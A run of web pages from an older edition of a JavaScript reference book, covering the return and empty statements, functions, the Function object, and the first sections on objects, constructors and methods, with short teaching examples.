HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.12 return

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.12 return

As you'll recall, function invocation with the () operator is an expression. All expressions have values, and the return statement is used to specify the value "returned by" a function. This value is the value of the function invocation expression. The syntax of the return statement is:

return [ expression ];

When the return statement is executed, the expression is evaluated, and returned as the value of the function. Execution of the function stops when the return statement is executed, even if there are other statements still remaining in the function body. The return statement can be used to return a value like this:

function square(x) { return x*x; }

The return statement may also be used without an expression to simply terminate execution of the function without returning a value. For example:

function display_object(obj) {
    // first make sure our argument is valid
    // and skip rest of function if it is not.
    if (obj == null) return;
    // rest of the function goes here...
}

If a function executes a return statement with no expression, or if it never executes a return statement (i.e., it simply executes all the statements in the body and implicitly returns) then the value of the function call expression will be undefined (i.e., the special JavaScript undefined value).

It is a syntax error to use the return statement anywhere except in a function body.

Previous | Home | Next
function | Book Index | The Empty Statement
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.13 The Empty Statement

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.13 The Empty Statement

One final legal statement in JavaScript is the empty statement. It looks like this:

;
Executing the empty statement obviously has no effect and performs no action. You might think that there would be little reason to ever use such a statement, but it turns out that the empty statement is occasionally useful when you want to create a loop that has an empty body. For example:

// initialize an array a
for(i=0; i < a.length; a[i++] = 0) ;
To make your code clear, it can be useful to comment your empty statements as such:

for(i=0; i < a.length; a[i++] = 0) /* empty */ ;

Previous | Home | Next
return | Book Index | Summary of JavaScript Statements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 5] 5.14 Summary of JavaScript Statements

JavaScript: The Definitive Guide

Previous Chapter 5
Statements 		Next

5.14 Summary of JavaScript Statements

This chapter has introduced each of the statements of the JavaScript language. Table 5.1 summarizes these statements, their syntax, and their purpose.

Table 5.1: JavaScript Statement Syntax
Statement Syntax Purpose
break

break;

Exit from the innermost loop.

continue

continue;

Jump to top of containing loop.

empty

;

Do nothing.

for

for (initialize ; test ; increment)
    statement

Easy-to-use loop.

for/in

for (variable in object)
    statement

Loop through properties of object.

function

function funcname([arg1 [..., argn]]) {
    statements
}

Declare a function.

if/else

if (expression)
    statement1
[ else
    statement2 ]

Conditionally execute code.

return

return expression;

Return a value from a function.

var

var name_1 [ = value_1 ]
    [ ..., name_n [ = value_n]] ;

Declare and initialize variables.

while

while (expression)
    statement

Basic loop construct.

with

with (object)
    statement

Specify the current name space.

Previous | Home | Next
The Empty Statement | Book Index | Functions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] Functions

JavaScript: The Definitive Guide

Previous Chapter 6 Next

6. Functions

Contents:
Defining and Invoking Functions
Functions as Data Types
The Function Object
Built-in Functions
Event Handlers

Functions are an important and complex part of the JavaScript language. This chapter examines functions from several points of view. First, functions are introduced from the syntactic standpoint, explaining how functions are defined and invoked. Second, it is shown that functions are data types in JavaScript, with examples of the useful programming techniques that are possible by treating functions as data. Finally, the Function object and its properties are discussed, which support a number of advanced techniques for manipulating functions and their arguments.

Functions in JavaScript are closely integrated with JavaScript objects, and there are features of functions that are not documented in this chapter. Chapter 7, Objects, explains the specialized uses of functions as methods, constructors, and event-handlers.

6.1 Defining and Invoking Functions

As we saw in Chapter 5, Statements, functions are defined with the function keyword, followed by:

  • the name of the function

  • a comma-separated list of argument names in parentheses

  • the JavaScript statements that comprise the body of the function, contained within curly braces

Example 6.1 shows the definition of several functions. Although these functions are short and very simple, they all contain each of the elements listed above. Note that functions may be defined to expect varying numbers of arguments, and that they may or may not contain a return statement. The return statement was introduced in Chapter 5, Statements; it causes the function to stop executing and return the value of its expression (if any) to the caller. If a function does not contain a return statement, then it simply executes each statement in the function body and returns no value to the caller.

Example 6.1: Defining JavaScript Functions

// A short-cut function, sometimes useful instead of document.write()
// This function has no return statement, so it returns no value.
function print(msg)
{
    document.write(msg, "<BR>");
}
// A function that computes and returns the distance between two points.
function distance(x1, y1, x2, y2)
{
    var dx = (x2 - x1);
    var dy = (y2 - y1);
    return Math.sqrt(dx*dx + dy*dy);
}
// A recursive function (one that calls itself) that computes factorials.
// Recall that x! is the product of x and all positive integers less than it.
function factorial(x)
{
    if (x <= 1)
        return 1;
    else
        return x * factorial(x-1);
}

Once a function has been defined, it may be invoked with the () operator, introduced in Chapter 4, Expressions and Operators. Recall that the parentheses appear after the name of the function, and that a comma-separated list of argument values (or expressions) appear within the parentheses. The functions defined in Example 6.1 could be invoked with code like the following:

print("Hello, " + name);
print("Welcome to my home page!");
total_dist = distance(0,0,2,1) + distance(2,1,3,5);
print("The probability of that is: " + factorial(13)/factorial(52));
When you invoke a function, each of the expressions you specify between the parentheses is evaluated, and the resulting value is used as an argument or parameter of the function. These values are assigned to the variables named (within parentheses) when the function was defined, and the function operates on its parameters by referring to them by name. Note that these parameter variables are only defined while the function is being executed; they do not persist once the function returns.

Since JavaScript is an untyped language, you are not expected to specify a data type for function arguments, and JavaScript does not check that you have passed the type of data that the function expects. If the data type of an argument is important, you can test it yourself with the typeof operator. JavaScript does not check that you have passed the correct number of arguments, either. If you pass more arguments than the function expects, the extra values will simply be ignored. If you pass fewer than expected, then some of the parameters will be given the undefined value--which will, in many circumstances, cause your function to behave incorrectly. Later in this chapter we'll see a technique you can use to test that the correct number of arguments have been passed to a function.

Note that because our print() function does not contain a return statement and does not return a value, it cannot be used as part of a larger expression. The distance() and factorial() functions, on the other hand, can be used as parts of larger expressions, as shown in the examples above.

Previous | Home | Next
Summary of JavaScript Statements | Book Index | Functions as Data Types
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.2 Functions as Data Types

JavaScript: The Definitive Guide

Previous Chapter 6
Functions 		Next

6.2 Functions as Data Types

The most important features of functions is that they can be defined and invoked, as shown in the previous section. Function definition and invocation are syntactic features of JavaScript, and of most other programming languages. In JavaScript, however, functions are not only syntax, but also data. In some languages, like Java, functions are part of a program, but cannot be manipulated by the program--you cannot, for example, pass one function as an argument to another function in Java. Other languages, like C and C++, are more flexible--while a function defined in C is not actually a data type, "function pointers" can be manipulated by the program, and it is possible to pass these function pointers to other functions and to assign them to variables.

JavaScript goes even further than C. Functions in JavaScript are data, and thus can be treated like any other data value--assigned to variables, stored in the properties of objects or the elements of arrays, passed to functions, and so on. Because JavaScript is an interpreted language, and because it treats functions as a distinct data type, the language (in Navigator 3.0) even allows functions to be defined dynamically, at run-time! We'll see how this is done when we consider the Function object later in this chapter.

We've seen that the function keyword is the syntax used to define a function in a JavaScript program. To understand how functions are JavaScript data as well as JavaScript syntax, we've got to understand what the function keyword really does. function creates a function, as we've seen, but it also defines a variable. In this way, the function keyword is like the var keyword. Consider the following function definition:

function square(x) { return x*x; }
This code does the following:

  • Defines a new variable named square.

  • Creates a new data value, of type function. This function value expects a single argument named x, and has a body that consists of a single statement: "return x*x;".

  • Assigns the newly created function value to the newly defined variable.

When we consider function definition in this light, it becomes clear that the name of a function is really immaterial--it is simply the name of a variable that holds the function. The function can be assigned to another variable, and will still work the same:

function square(x) { return x*x; }
a = square(4);   // a contains the number 16
b = square;      // now b refers to the same function as square does.
c = b(5);        // c contains the number 25
Functions can also be assigned to object properties:

o = new Object;
o.sq = square;
y = o.sq(16);   // y equals 256
Functions don't even require names, as when we assign them to array elements:

a = new Array(10);
a[0] = square;
a[1] = 20;
a[2] = a[0](a[1]);  // a[2] contains 400
Note that the function invocation syntax in this last example looks strange, but is still a legal use of the JavaScript () operator!

Example 6.2 is a detailed example of the things that can be done when functions are used as data. It demonstrates how functions can be passed as arguments to other functions, and also how they can be stored in associative arrays (which were introduced in Chapter 3, Variables and Data Types, and are explained in detail in Chapter 7, Objects.) This example may be a little tricky, but the comments explain what is going on; it is worth studying carefully.

Example 6.2: Using Functions as Data

// We define some simple functions here
function add(x,y) { return x + y; }
function subtract(x,y) { return x - y; }
function multiply(x,y) { return x * y; }
function divide(x,y) { return x / y; }
// Here's a function that takes one of the above functions
// as an argument and invokes it on two operands
function operate(operator, operand1, operand2)
{
    return operator(operand1, operand2);
}
// We could invoke this function like this to compute
// the value (2+3) + (4*5):
var i = operate(add, operate(add, 2, 3), operate(multiply, 4, 5));
// Now we store the functions defined above in an associative array
var operators = new Object();
operators["add"] = add;
operators["subtract"] = subtract;
operators["multiply"] = multiply;
operators["divide"] = divide;
operators["pow"] = Math.pow;  // works for predefined functions too.
// This function takes the name of an operator, looks up
// that operator in the array, and then invokes it on the
// supplied operands. Note the syntax used to invoke the
// operator function.
function operate2(op_name, operand1, operand2)
{
    if (operators[op_name] == null) return "unknown operator";
    else return operators[op_name](operand1, operand2);
}
// We could invoke this function as follows to compute
// the value ("hello" + " " + "world"):
var j = operate2("add", "hello", operate2("add", " ", "world"))
// Using the predefined Math.pow() function
var k = operate2("pow", 10, 2)

If the preceding example does not convince you of the utility of being able to pass functions as arguments to other functions, and otherwise treat functions as data values, consider the Array.sort() method. This function sorts the elements of an array, but because there are many possible orders to sort things into (numerical order, alphabetical order, date order, ascending, descending, and so on) it takes a function as an argument to tell it how to perform the sort. This function has a very simple job--it is passed two elements of the array, which it compares, and then returns a value specifying which element is larger and which is smaller. This function argument makes the Array.sort() method perfectly general and infinitely flexible--it can sort any type of data into any conceivable order!

Previous | Home | Next
Defining and Invoking Functions | Book Index | The Function Object
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.3 The Function Object

JavaScript: The Definitive Guide

Previous Chapter 6
Functions 		Next

6.3 The Function Object

In Chapter 3, Variables and Data Types we saw that each of the primitive (i.e., non-object) JavaScript data types has a corresponding "wrapper" object type that is used to provide properties and methods for the data type. Recall that JavaScript automatically converts primitive values to the corresponding object type, when those values are used in an "object context"--i.e., when you try to access their properties or methods. Because the conversion is so transparent to the programmer, it can seem as if primitive types, like strings, have properties and methods.

Since, as we've seen, functions are not just a syntactic feature of JavaScript, but also a data type, JavaScript provides the Function object type as a wrapper. The Function object has two properties: arguments, which contains an array of arguments passed to the function, and caller which refers to the function that called the current function. Additionally, in Navigator 3.0, the Function object has a constructor function that can be used (with the new keyword) to define new functions dynamically, at run-time. The subsections below explain exactly how these two properties and the constructor function work.

Before we consider the properties of the Function object, there are a couple of important points we must note about their use. The first point is that the arguments and caller properties of the Function object are only defined while the function is being executed. If you try to access these properties from outside the function, their value will be null.

The second point to note is that in order to refer to these Function properties from inside a function, the function must refer to itself. It would seem logical that JavaScript would define a special keyword that refers to "the currently running function" to support this self-reference. There are two likely candidates, but unfortunately, neither of them do what we want: the this keyword, when used in a function refers to the object through which the function was invoked (we'll see more about this when we consider methods in Chapter 7, Objects), and the self keyword (really a property name, not a keyword, as we'll see in Chapter 11, Windows and the JavaScript Name Space) refers to the current browser window, not the current function. The current version of JavaScript simply does not have a keyword to refer to the current function, although this may be added in a future version of the language.

So, a function can refer to itself simply by using its name. As we saw in the previous section, this name is nothing more that a variable name or an object property, or even a numbered element of an array. Remember that a function is just a data value--if you can refer to this value in order to invoke the function, then you can generally refer to it in the same way from inside the function body. A function f might refer to elements of its arguments[] array like this:

function f() { return f.arguments[0] * f.arguments[1]; }

When we introduce the constructor function of the Function object, we'll actually show a way to create unnamed functions, and you may encounter occasional circumstances in which the body of a function does not know how to refer to itself. If you encounter one of these rare cases in Navigator 3.0, you can refer to the current function by passing the string "this" to the eval() method (a method of the Function object, as it is of all objects). For example, you could refer to the caller property of the current function, without explicitly naming it, like this:

eval("this").caller

With these notes about the use of the Function object's properties in mind, we can finally go ahead and consider the properties themselves.

The arguments[] Array

The arguments[] property of a Function object refers to an array that contains the complete set of argument values passed to the function for the current invocation. JavaScript allows any number of argument values to be passed to any function, regardless of the number of argument names that appear in the function definition. If you define a function named f with a single argument named x, then within the function, the value of the argument x is the same as f.arguments[0]. If you invoke this function and pass it two arguments instead of just one, then the second argument won't have a name within the function but will be available as f.arguments[1]. Like most arrays, the arguments[] array has a length property that specifies the number of elements. Thus, for a function f, f.arguments.length specifies the number of argument values that were passed for the current invocation.

The arguments[] array is useful in a number of ways. As Example 6.3 shows, you can use it to check that a function is invoked with the correct number of arguments, since JavaScript doesn't do this for you.

Example 6.3: Checking for the Correct Number of Arguments

function f(x, y, z)
{
    // first, check that the right # of arguments were passed.
    if (f.arguments.length != 3) {
        alert("function f called with " + f.arguments.length +
              "arguments, but it expects 3 arguments.");
        return null;
    }
    // now do the actual function...
}

The arguments[] array also opens up an important possibility for JavaScript functions: they can be written so that they work with any number of arguments. Example 6.4 shows how you can write a max() function that accepts any number of arguments and returns the value of the largest argument it is passed.

Example 6.4: A Multi-Argument max() Function

function max()
{
    var m = -Number.MAX_VALUE; // Navigator 3.0 only. In 2.0 use -1.79E+308
    // loop through all the arguments, looking for, and
    // remembering, the biggest.
    for(var i = 0; i < max.arguments.length; i++)
        if (max.arguments[i] > m) m = max.arguments[i];
    // return the biggest.
    return m;
}
var largest = max(1, 10, 100, 2, 3, 1000, 4, 5, 10000, 6);

You can also write functions that have some named arguments, followed by some unnamed arguments. Example 6.5 shows such a function; it is a constructor function that creates an array, initializes a size property as specified by a named argument len, and then initializes an arbitrary number of elements, starting with element 1, of the array to the values of any additional arguments. (JavaScript programs in Navigator 2.0 often use a function like this, as seen in Chapter 8, Arrays.)

Example 6.5: Creating and Initializing an Array

function InitializedArray(len)
{
    this.size = len;  // In 2.0, this sets array element 0.
    for (var i = 1; i < InitializedArray.arguments.length; i++)
        this[i] = InitializedArray.arguments[i];
}

A final note about the arguments[] array: the arguments property of a Function object actually holds a copy of the Function object itself. In other words, if f is a function, and F is the corresponding Function object, then each of the following lines of code refers to the same thing:

f.arguments
F.arguments
F
F.arguments.arguments.arguments
It is a strange implementation, but what it means is that it is the Function object itself that maintains the array of arguments (as we'll see in Chapter 8, Arrays, arrays and objects are the same thing in JavaScript, and an object can have both properties and array elements.) So, instead of writing f.arguments[i], you can just write f[i], and instead of f.arguments.length, you can write f.length. This feature is not guaranteed to continue to work in future versions of JavaScript; using the arguments property is the officially supported way to access function arguments.

The caller Property

The other property of the Function object is caller. This property is a reference to the function (the function value itself, not the Function object wrapper) that invoked the current one. If the function was invoked from the top level of the script, rather than from a function, then this property will be null. Because caller is a reference to a function value, you can do anything with it that you can do with any other function reference. You can call it, or pass it to other functions, causing a kind of recursion.

Unfortunately, since the caller property refers to a function that is not the currently executing function, you cannot inspect the arguments or caller property of the function referred to by the caller property. That is, the following JavaScript expressions evaluate to null:

f.caller.caller          // doesn't work
f.caller.arguments[1]    // doesn't work
It is a shame that these kinds of expressions do not return meaningful values, because it would allow us to write functions that produce stack traces, for example, or a function that could be invoked for the purpose of checking that its caller was invoked with the correct number and type of arguments.

The Function() Constructor

We said in Chapter 4, Expressions and Operators that the new operator is used to create new objects; this operator is used with a special "constructor function" that specifies the type of object to create. Many JavaScript object types define constructor functions that can be used to create objects of that type. The Function object type is no exception--it provides the Function() constructor which allows us to create new Function objects. This constructor works in Navigator 3.0, but not in Internet Explorer 3.0. It will be implemented in a future version of IE.

The Function() constructor provides a technique for defining functions without using the function keyword. You can create a new Function object with the Function() constructor like this:

var f = new Function("x", "y", "return x*y;");
This line of code creates a new function (wrapped within a new Function object) that is equivalent (almost) to a function defined with the syntax we're already familiar with:

function f(x, y) { return x*y; }

The Function() constructor expects any number of string arguments. The last argument in the list becomes the body of the function--it can contain arbitrary JavaScript statements, separated from each other with semicolons. All other arguments to the Function() constructor are strings that specify the names of the arguments to the function being defined. If you are defining a function that takes no arguments, then you simply pass a single string--the function body--to the constructor.

There are a couple of reasons you might want to use the Function() constructor. Recall that the function keyword defines a variable, just like the var does. So the first reason to use the Function() constructor is to avoid having to give your function a temporary variable name when you are just going to immediately assign it to an object property (making a method of that object, as we'll see in Chapter 7, Objects). For example, consider the following two lines of code:

function tmp_area() { return Math.PI * this.radius * this.radius; }
Circle.area = tmp_area
The Function() constructor allows us to do this in a single step without creating the temporary tmp_area variable:

Circle.area = new Function("return Math.PI * this.radius * this.radius;");

Another reason you might want to use the Function() constructor is to define temporary or "anonymous" functions that are never given a name. Recall the Array.sort() method mentioned earlier in this chapter: it takes a function as an argument, and that function defines how the elements of the array are sorted. Strings and numbers already have a well-defined sort order, but suppose we were trying to sort an array of objects each of which represented a complex number. To do this, we might use the magnitude of the number, or its overall "distance" from the origin as the value which we would compare to do the sort. It is simple enough to write an appropriate function to perform this comparison, but if we only plan to sort this array of complex number objects once, we might not want to bother defining the function with the function keyword and giving it a permanent name. Instead, we might simply use code like the following to dynamically create a Function object and pass it to the sort() method without ever giving it a name. (Recall that just as JavaScript automatically converts primitive types to their corresponding wrapper objects, so too does it convert in the other direction. So the Function object created in the example will be automatically converted to a function value appropriate for the sort() method.

complex_nums.sort(
       new Function("a", "b",
                    "Math.sqrt(a.x*a.x+a.y*a.y)-Math.sqrt(b.x*b.x+b.y*b.y);"));

The only difference between functions defined with the function keyword and those defined with the Function() constructor has to do with how they are printed. (Try it! Use document.write() or alert().) When a function is printed (or otherwise converted to a string) the function name, arguments, and body are displayed, along with the function keyword. The result of converting a function to a string is a string that contains a legal JavaScript function definition. When a function is defined with function, it is given a name as part of the function definition syntax, and this name appears when the function is printed. Functions defined with Function(), however, do not have a name, and so are printed with the name "anonymous". For this reason, functions defined in this way are sometimes referred to as "anonymous functions".

Function Properties

There are several interesting facts about functions that you should be aware of. You can combine these facts into a useful programming technique.

Functions are objects

One of the interesting features of JavaScript functions is that you can assign properties to them. For example:

function f() { alert('hello world!'); }
f.i = 3;
This code creates a function f, and then assigns a property i to it. Later, we can use this property just like any other:

var i = f.i + 2;

What is unusual about this is that we are assigning a property to a primitive function value. JavaScript does actually allow us to assign properties to other primitive types, but those properties don't persist. Consider this code:

n = 1;       // A number
n.i = 2;     // Convert it to a Number object and give that object a property
typeof n.i   // This tells us n.i is undefined; the property is transient.
When properties are assigned to primitive numbers, Booleans, and strings, JavaScript converts those primitive types to temporary Number, Boolean, and String objects, and assigns the property to those objects. The objects only persist while the expression is being evaluated, and, once discarded, the property no longer exists.

The reason this doesn't happen with functions is that all JavaScript functions are objects. The Function object is obviously an object type, but even primitive function types are objects that can have properties assigned to them. Because functions are such an important and integral part of the language, however, they are usually treated as a special primitive type.

Function arguments and variables are properties

In all versions of JavaScript, global variables are actually properties of some top-level object. In client-side JavaScript, as we'll see, this top-level object is the browser window or frame that contains the JavaScript code. This raises the obvious question: if global variables are properties of an object, what are local function variables? It would make sense that they, too, are properties of some object. The only obvious object is the function (or Function) itself. The following code demonstrates:

function f(x)
{
   var y = 3;         // a local variable
   return f.x + f.y;  // refer to the argument and variable as properties
}
If we invoke the function, we see that function arguments and local variables really can be accessed as properties of the function itself:

result = f(2);        // returns 5
However, if we try to read these properties ourselves, we will be unable to:

typeof f.x      // yields "undefined"
typeof f.y      // yields "undefined"

What this means is that, like the arguments[] array and the caller property, the local variable and argument properties are only accessible while the function is running. When the function returns, JavaScript deletes these properties.

Function properties simulate static variables

Knowing that local variables are implemented as transient properties of a function is not particularly useful in itself, but it does lead us to a useful programming technique. In C and C++, a static variable in a function is one that is local to the function, but which has a value that persists across invocations of the function--that is, its value is not reset every time the function is called, and you can use it to save state so that a function could keep track of how many times it had been invoked, for example. A static variable in a function is a global variable, because it retains its value. And it is also like a local variable because it is invisible outside the function, which means that you do not have to give it a unique name or worry about collisions with other global variables or about cluttering up the name space. This is often a very useful combination of features.

JavaScript does not support static variables directly, but it turns out that we can simulate them with function properties. We've seen that function properties for local variables and arguments are created when a function is invoked and are deleted when the function returns. You can create other properties of a function, however, that will not be deleted like this. Because local variables are looked up as properties of the function, any properties you add will appear to be local variables. They differ from local variables, however, in that they are not deleted and reset every time the function is called, so they can retain their value. At the same time, though, they are properties of a function instead of global variables, so they do not clutter the name space. These are exactly the features we desire in a static variable.

Example 6.6 shows a function that uses a "static variable" to keep track of how many times it has been called. You'll probably find many more realistic uses for static variables in your own programming. As a rule of thumb, never use a global variable where a static variable would work as well.

Example 6.6: Using Static Variables

function count()
{
    // counter is a static variable, defined below.
    // Note that we use it just like a local variable.
    alert("You've called me " + counter + " time(s).");
    // Increment the static variable. This incremented value
    // will be retained and will be used the next time we are called.
    counter++;
}
// To define the static variable, just set it as a property of the function:
// Note that the only shortcoming of this technique is that static
// variables can only be defined after they are used in the function.
count.counter = 1;

Previous | Home | Next
Functions as Data Types | Book Index | Built-in Functions
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.4 Built-in Functions

JavaScript: The Definitive Guide

Previous Chapter 6
Functions 		Next

6.4 Built-in Functions

This chapter has focused on the use of functions that you define yourself. Bear in mind that JavaScript also provides a number of built-in functions that are part of the language. For example, the parseInt() function converts a string to an integer, and the Math.sin() function computes the sine of a number. For the most part, built-in functions behave just like user-defined functions: you can assign them to new variables, object properties, and array elements, and you can invoke them through these new variable names, properties or array elements. Practically the only discernible difference between a built-in function and a user-defined one becomes apparent when you try to print the value of a built-in function: the body of the function is replaced with the string "[native code]", indicating that the function is not itself implemented in JavaScript.

Previous | Home | Next
The Function Object | Book Index | Event Handlers
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 6] 6.5 Event Handlers

JavaScript: The Definitive Guide

Previous Chapter 6
Functions 		Next

6.5 Event Handlers

An event handler is a special-purpose function, one that is used only in client-side JavaScript. Event-handler functions are defined unusually--instead of using the function keyword (or the Function() constructor) and being defined as part of a JavaScript program, they are defined as fragments of JavaScript within the HTML tags of certain elements on a web page.

Event-handler functions are also unusual in how they are used. They are not usually invoked by your JavaScript program; instead, they are invoked by the web browser itself, whenever certain "events" occur within the element with which they are associated. For example, you can associate an event handler with a button in an HTML form. When the user clicks on the button, the JavaScript code in the event handler will be automatically invoked by the browser. The following piece of HTML code creates a button with the words "Click me!"; clicking the button runs an piece of JavaScript code that adds together two numbers and displays the result in a dialog box:

<FORM>
<INPUT TYPE="submit" VALUE="Click me!"
       onClick="var sum=1+2; alert(sum);">
</FORM>

This piece of JavaScript code is actually a function. That is, defining an event handler in an HTML tag does create a JavaScript function object, just as other function definitions do, and this object can be used as other function objects are. The main difference is that the function will be invoked automatically by the browser in response to appropriate user actions.

Event handlers are part of client-side JavaScript, not part of the core language. Therefore, their definition and use will be described in greater detail in Chapter 10, Client-Side Program Structure.

Previous | Home | Next
Built-in Functions | Book Index | Objects
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] Objects

JavaScript: The Definitive Guide

Previous Chapter 7 Next

7. Objects

Contents:
Object Properties
Creating New Objects with Constructors
Methods
Object Prototypes
Classes in JavaScript
Objects as Associative Arrays
Special Object Methods

Chapter 3, Variables and Data Types, explained that objects are one of the fundamental data types in JavaScript. They are also one of the most important. This chapter describes JavaScript objects in detail. Basic usage of objects, described in the first section below, is straightforward, but as we'll see in later sections, objects have more complex uses and behaviors.

7.1 Object Properties

An object is a data type that contains named pieces of data. Each named datum is called a property. Each property has a name, and the object associates a value with each property name. A property value may be of any type. In effect, the properties of an object are variables within the "name space" created by the object.

Reading and Writing Object Properties

You normally use the . operator to access the value of an object's properties. The value on the left of the . should be a reference to an object (usually just the name of the variable that contains the object reference). The value on the right of the . should be the name of the property. This must be an identifier, not a string or an expression. For example, you refer to the property p in object o with o.p. Or, you refer to the property document in the object parent with parent.document. The . operator is used for both reading and writing object properties. For example:

// Read a property value:
w = image.width;
// Set a property value:
window.location = "http://my.isp.com/my_home_page/index.html";
// Read one property and set it in another property
image.src = parent.frames[1].location

Defining New Object Properties

You can add a new property to an object simply by setting its value. Thus, you might add a property to the object win with code like the following:

win.creator = self;
This line assigns the value of self to the creator property of the object win. If the creator property does not already exist, then it will be created so that the value can be assigned to it.

Undefined Object Properties

If you attempt to read the value of a property that does not exist--i.e., has never had a value assigned to it--you will retrieve the special JavaScript undefined value (which was introduced in Chapter 3, Variables and Data Types).

Once a property has been defined in an object, however, there is no way to undefine it. You may set the value of a property to the special undefined value, by assigning the value of an undefined property, but this just changes the value of the property without actually undefining it. You can demonstrate that the property still exists by using a for/in loop to print out the name of all defined properties:

for (prop in obj)
    property_list += prop + "\n";
alert(property_list);

Previous | Home | Next
Event Handlers | Book Index | Creating New Objects with Constructors
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.2 Creating New Objects with Constructors

JavaScript: The Definitive Guide

Previous Chapter 7
Objects 		Next

7.2 Creating New Objects with Constructors

As we saw briefly in Chapter 4, Expressions and Operators, the new operator creates a new object. For example:

o = new Object();

This syntax creates an "empty" object, one that has no properties defined. There are certain occasions in which you might want to start with an empty object of this sort, but in "object-oriented" programming, it is more common to work with objects that have a predefined set of properties. For example, you might want to define one or more objects that represent rectangles. In this case, each rectangle object should have a width property and a height property.

To create objects with properties such as width and height already defined, we need to write a constructor to create and initialize these properties in a new object. A constructor is a JavaScript function with three special features:

  • It is invoked through the new operator.

  • It is passed a reference to a newly created, "empty" object as the value of the special this keyword, and it is responsible for performing appropriate initialization for that new object.

  • It should not return a value; if it uses the return statement, it should do so without a value to be returned.

Example 7.1 shows how the constructor function for a rectangle object might be defined and invoked.

Example 7.1: A Rectangle Object Constructor Function

// define the constructor.
// Note how it initializes the object referred to by "this"
function Rectangle(w, h)
{
    this.width = w;
    this.height = h;
}
// invoke the constructor to create two rectangle objects
// Notice that we pass the width and height to the constructor, so it
// can initialize each new object appropriately.
rect1 = new Rectangle(2, 4);
rect2 = new Rectangle(8.5, 11);

Notice how the constructor performs its initialization on the object referred to by the this keyword. A constructor will generally perform initialization based on the argument values that are passed to it. Some constructors may also initialize other properties of a new object (setting them to constant values, for example). Keep in mind that a constructor function simply initializes the specified object; it does not have to return that object.

Also notice how we define a "class" of objects simply by defining an appropriate constructor function--all objects created with that constructor will have the same properties. It is stylistically important to give constructor functions a name that indicates the class of objects they will "construct." For example, creating a rectangle with new construct_rect(1,2) is a lot less intuitive than new Rectangle(1,2).

The constructor Property

In Navigator 3.0, but not in Internet Explorer 3.0, all objects have a constructor property that refers to the constructor function that was used to create the object. Since the constructor function determines the "class" of an object, the constructor property in a sense specifies the "type" of any given object. For example, you might use code like the following to determine the type of an unknown object:

if ((typeof n == "object") && (n.constructor == Number))
   // then do something with the Number object...

Previous | Home | Next
Object Properties | Book Index | Methods
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 7] 7.3 Methods

JavaScript: The Definitive Guide

Previous Chapter 7
Objects 		Next

7.3 Methods

A method is nothing more than a JavaScript function that is invoked through an object. Recall that functions are data values, and that there is nothing special about the name they are defined with--a function can be assigned to any variable, or even to any property of an object. If we have a function f, and an object o, then we can define a method named m with the following line:

o.m = f;

Having defined the method m() of the object o, we invoke it like this:

o.m();
Or, if m() expects two arguments, we might invoke it like this:

o.m(x, x+2);

Invoking o.m() this way is the same as calling f(), except for one point: when the function is invoked as a method, through the object o, the this keyword will refer to that object within the body of the method. When the same function object is invoked directly as f(), the this keyword will not contain a meaningful value.[1]

[1] As you may have discovered by now, variables in client-side JavaScript are all implicitly properties of the current Window object, so invoking f() is equivalent to invoking window.f(): the this keyword in both these cases refers to the current window. (See Chapter 11, Windows and the JavaScript Name Space, for an extended discussion of this somewhat odd aspect of JavaScript.)

This discussion of the this keyword should begin to make it clear why we use methods at all. Any function that is used as a method is effectively passed a third argument--the object through which it is invoked. Typically, a method performs some sort of operation on that object, and the method invocation syntax is a particularly elegant way to express the fact that a function is operating on an object. Compare the following two lines of code:

o.m(x,y);
f(o,x,y);
The hypothetical method m() and function f() may perform exactly the same operation on the object o, but the method invocation syntax more clearly indicates the idea that it is the object o that is the primary focus or target of the operation.

The typical usage of methods is more clearly illustrated through an example. Example 7.2 returns to the Rectangle objects of Example 7.1 and how a method that operates on Rectangle objects can be defined and invoked.

Example 7.2: Defining and Invoking a Method

// This is a function. It uses the this keyword, so
// it doesn't make sense to invoke this function by itself; it
// needs instead be made a method of some object, some object that has
// "width" and "height" properties defined.
function compute_area()
{
    return this.width * this.height;
}
// Create a new Rectangle object, using the constructor defined earlier
var rect = new Rectangle(8.5, 11);
// Define a method by assigning the function to a property of the object
rect.area = compute_area;
// Invoke the new method like this:
a = rect.area();    // a = 8.5*11 = 93.5

There is a shortcoming that is evident in Example 7.2: before you can invoke the area() method for the rect object, you must assign that method to a property of the object. While we can invoke the area() method on the particular object named rect, we can't invoke it on any other Rectangle objects without first assigning the method to them. This quickly becomes tedious. Example 7.3 defines some additional Rectangle methods and shows how they can automatically be assigned to all Rectangle objects with a constructor function.

Example 7.3: Defining Methods in a Constructor

// First, define some functions that will be used as methods
function Rectangle_area() { return this.width * this.height; }
function Rectangle_perimeter() { return 2*this.width + 2*this.height; }
function Rectangle_set_size(w,h) { this.width = w; this.height = h; }
function Rectangle_enlarge() { this.width *= 2; this.height *= 2; }
function Rectangle_shrink() { this.width /= 2; this.height /= 2; }
// Then define a constructor method for our Rectangle objects.
// The constructor initializes properties, and also assigns methods.
function Rectangle(w, h)
{
    // initialize object properties
    this.width = w;
    this.height = h;
    // define methods for the object
    this.area = Rectangle_area;
    this.perimeter = Rectangle_perimeter;
    this.set_size = Rectangle_set_size;
    this.enlarge = Rectangle_enlarge;
    this.shrink = Rectangle_shrink;
}
// Now, when we create a rectangle, we can immediately invoke methods on it:
r = new Rectangle(2,2);
a = r.area();
